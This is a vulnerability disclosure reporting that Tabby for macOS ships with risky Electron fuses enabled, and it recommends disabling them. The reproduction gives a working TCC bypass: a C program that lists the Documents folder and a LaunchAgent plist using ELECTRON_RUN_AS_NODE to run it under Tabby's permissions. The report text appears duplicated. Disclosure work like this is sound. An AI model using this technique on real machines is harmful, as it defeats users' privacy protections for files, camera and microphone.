Description
Tabby enables several high-risk Electron Fuses, including RunAsNode
, EnableNodeCliInspectArguments
, and EnableNodeOptionsEnvironmentVariable
. These fuses create potential code injection vectors even though the application is signed with hardened runtime
and lacks dangerous entitlements such as com.apple.security.cs.disable-library-validation
and com.apple.security.cs.allow-dyld-environment-variables
.
According to Electron's official documentation https://www.electronjs.org/docs/latest/tutorial/fuses, these fuses can be safely disabled for most applications as they primarily serve debugging and testing purposes. Their presence in production environments is strongly discouraged. When enabled, these fuses effectively circumvent the security benefits provided by hardened runtime and the intentional omission of dangerous entitlements.
This vulnerability is particularly concerning given that Tabby holds powerful user-approved TCC (Transparency, Consent, and Control) permissions to access sensitive components including the camera, microphone, and personal folders (Downloads, Documents, etc.) through Apple Events. While these TCC permissions are designed to protect user privacy by preventing unauthorized access to sensitive data and hardware components—even from processes with root privileges—the enabled fuses allow attackers to bypass these protections through code injection. Any injected code or executed program inherits Tabby's TCC permissions, effectively compromising macOS's privacy protection mechanisms.
Impact
With enabled high-risk Electron fuses, TCC bypass can be achieved through multiple attack vectors (ELECTRON_RUN_AS_NODE
, NODE_OPTIONS
, --inspect option
), presenting significant business impacts:
-
Privacy Breach: Attackers who successfully exploit these fuses can access the user's personal folders, camera and microphone without additional prompts.
-
Security Compromise: Malicious code can be executed within Node.js context, inheriting all privileges and permissions granted to Tabby, while bypassing macOS's built-in security controls despite hardened runtime being enabled, without requiring sophisticated exploitation techniques (like dylib injection) or dangerous entitlements.
-
Data Security: Unauthorized access to hardware enables covert surveillance, potentially compromising user privacy at any time.
The enabled fuses effectively nullify the security benefits of hardened runtime and the careful selection of entitlements, creating multiple attack vectors that are simpler to exploit than traditional dylib injection methods.
Considering Tabby's huge user base, and extensive TCC permissions it holds, the consequence is particularly concerning.
Mitigation
Disable the risky Electron fuses while maintaining the application's core functionality
Reproduction
This vulnerability is relevant in post-exploitation scenarios where an attacker has gained initial device access through methods like service exploitation or phishing. After establishing a C2 or reverse shell connection with standard user privileges, the attacker faces TCC restrictions that prevent access to protected resources. Since C2 agents don't have granted TCC permissions by default, exploiting Tabby's overly permissive entitlements becomes an attractive privilege escalation path to bypass these restrictions and access protected resources. This scenario is common during the post-exploitation and local privilege escalation phases of an attack.
1: Download the tabby app from the official release and use the codesign
utility to inspect its code signing information and entitlements. Tabby does have the Hardened Runtime enabled, and lack com.apple.security.cs.allow-dyld-environment-variables
, making it difficult to exploit via dylib injection.
adler@adlers-Mac-mini ~ % codesign -dv --entitlement :- /Applications/Tabby.app | xmllint --format -
Executable=/Applications/Tabby.app/Contents/MacOS/Tabby
Identifier=org.tabby
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=501 flags=0x10000(runtime) hashes=5+7 location=embedded
Signature size=8994
Timestamp=Dec 25, 2024 at 6:02:33 AM
Info.plist entries=38
TeamIdentifier=V4JSMC46SY
Runtime Version=14.0.0
Sealed Resources version=2 rules=13 files=1524
Internal requirements count=1 size=172
warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.automation.apple-events</key>
<true/>
<key>com.apple.security.cs.allow-jit</key>
<true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.device.microphone</key>
<true/>
</dict>
</plist>
2: Use sudo npx @electron/fuses read --app /Applications/Tabby.app
command to check enabled fuses, we found multiple risky fuses are enabled.
adler@adlers-Mac-mini ~ % sudo npx @electron/fuses read --app /Applications/Tabby.app
Password:
Analyzing app: Tabby.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
GrantFileProtocolExtraPrivileges is Enabled
npm notice
npm notice New major version of npm available! 10.9.2 -> 11.0.0
npm notice Changelog: https://github.com/npm/cli/releases/tag/v11.0.0
npm notice To update run: npm install -g [email protected]
npm notice
3: Create a test program that attempts to access the Documents
folder, which is protected by TCC. Output of the command execution will be saved as /tmp/Documents.txt
.
#include <stdio.h>
#include <syslog.h>
#include <stdlib.h>
int main()
{
FILE *fp;
FILE *outputFile;
char path[1035];
outputFile = fopen("/tmp/Documents.txt", "w");
if (outputFile == NULL) {
printf("Failed to open output file\n");
return 1;
}
fp = popen("ls -Ol /Users/adler/Documents", "r");
if (fp == NULL) {
printf("Failed to run command\n");
fclose(outputFile);
return 1;
}
while (fgets(path, sizeof(path), fp) != NULL) {
fprintf(outputFile, "%s", path);
}
pclose(fp);
fclose(outputFile);
return 0;
}
Compile it:
adler@adlers-Mac-mini tcc-exp % nano tabby_tcc_bypass.c
adler@adlers-Mac-mini tcc-exp % gcc tabby_tcc_bypass.c -o tabby_tcc_bypass
Execute the program directly through Terminal. Due to Terminal lacking Documents folder access permissions, the listing operation failed.
4: Create a launch agent configuration at ~/Library/LaunchAgents/com.tabby.tcc.bypass.plist
with the following content:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.tabby.tcc.bypass</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Tabby.app/Contents/MacOS/Tabby</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("/Users/adler/tcc-exp/tabby_tcc_bypass");</string> </array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
5: Before exploitation, demonstrate the initial security state by confirming the Documents
folder is inaccessible even with root privileges. Then, use the launchctl
utility to execute launchctl load /Users/adler/Library/LaunchAgents/com.tabby.launcher.plist
, this causes the program to inherit Tabby's TCC permissions as a child process, successfully accessing the Documents folder.
Check /tmp/Documents.txt
to verify that contents of the Documents folder are now listed, confirming successful TCC bypass. This same approach can be extended to access other TCC-protected resources including the Downloads folder, camera, and microphone.
Description
Tabby enables several high-risk Electron Fuses, including
RunAsNode
,EnableNodeCliInspectArguments
, andEnableNodeOptionsEnvironmentVariable
. These fuses create potential code injection vectors even though the application is signed withhardened runtime
and lacks dangerous entitlements such ascom.apple.security.cs.disable-library-validation
andcom.apple.security.cs.allow-dyld-environment-variables
.According to Electron's official documentation https://www.electronjs.org/docs/latest/tutorial/fuses, these fuses can be safely disabled for most applications as they primarily serve debugging and testing purposes. Their presence in production environments is strongly discouraged. When enabled, these fuses effectively circumvent the security benefits provided by hardened runtime and the intentional omission of dangerous entitlements.
This vulnerability is particularly concerning given that Tabby holds powerful user-approved TCC (Transparency, Consent, and Control) permissions to access sensitive components including the camera, microphone, and personal folders (Downloads, Documents, etc.) through Apple Events. While these TCC permissions are designed to protect user privacy by preventing unauthorized access to sensitive data and hardware components—even from processes with root privileges—the enabled fuses allow attackers to bypass these protections through code injection. Any injected code or executed program inherits Tabby's TCC permissions, effectively compromising macOS's privacy protection mechanisms.
Impact
With enabled high-risk Electron fuses, TCC bypass can be achieved through multiple attack vectors (
ELECTRON_RUN_AS_NODE
,NODE_OPTIONS
,--inspect option
), presenting significant business impacts:Privacy Breach: Attackers who successfully exploit these fuses can access the user's personal folders, camera and microphone without additional prompts.
Security Compromise: Malicious code can be executed within Node.js context, inheriting all privileges and permissions granted to Tabby, while bypassing macOS's built-in security controls despite hardened runtime being enabled, without requiring sophisticated exploitation techniques (like dylib injection) or dangerous entitlements.
Data Security: Unauthorized access to hardware enables covert surveillance, potentially compromising user privacy at any time.
The enabled fuses effectively nullify the security benefits of hardened runtime and the careful selection of entitlements, creating multiple attack vectors that are simpler to exploit than traditional dylib injection methods.
Considering Tabby's huge user base, and extensive TCC permissions it holds, the consequence is particularly concerning.
Mitigation
Disable the risky Electron fuses while maintaining the application's core functionality
Reproduction
This vulnerability is relevant in post-exploitation scenarios where an attacker has gained initial device access through methods like service exploitation or phishing. After establishing a C2 or reverse shell connection with standard user privileges, the attacker faces TCC restrictions that prevent access to protected resources. Since C2 agents don't have granted TCC permissions by default, exploiting Tabby's overly permissive entitlements becomes an attractive privilege escalation path to bypass these restrictions and access protected resources. This scenario is common during the post-exploitation and local privilege escalation phases of an attack.
1: Download the tabby app from the official release and use the
codesign
utility to inspect its code signing information and entitlements. Tabby does have the Hardened Runtime enabled, and lackcom.apple.security.cs.allow-dyld-environment-variables
, making it difficult to exploit via dylib injection.2: Use
sudo npx @electron/fuses read --app /Applications/Tabby.app
command to check enabled fuses, we found multiple risky fuses are enabled.3: Create a test program that attempts to access the
Documents
folder, which is protected by TCC. Output of the command execution will be saved as/tmp/Documents.txt
.Compile it:
Execute the program directly through Terminal. Due to Terminal lacking Documents folder access permissions, the listing operation failed.
4: Create a launch agent configuration at
~/Library/LaunchAgents/com.tabby.tcc.bypass.plist
with the following content:5: Before exploitation, demonstrate the initial security state by confirming the
Documents
folder is inaccessible even with root privileges. Then, use thelaunchctl
utility to executelaunchctl load /Users/adler/Library/LaunchAgents/com.tabby.launcher.plist
, this causes the program to inherit Tabby's TCC permissions as a child process, successfully accessing the Documents folder.Check
/tmp/Documents.txt
to verify that contents of the Documents folder are now listed, confirming successful TCC bypass. This same approach can be extended to access other TCC-protected resources including the Downloads folder, camera, and microphone.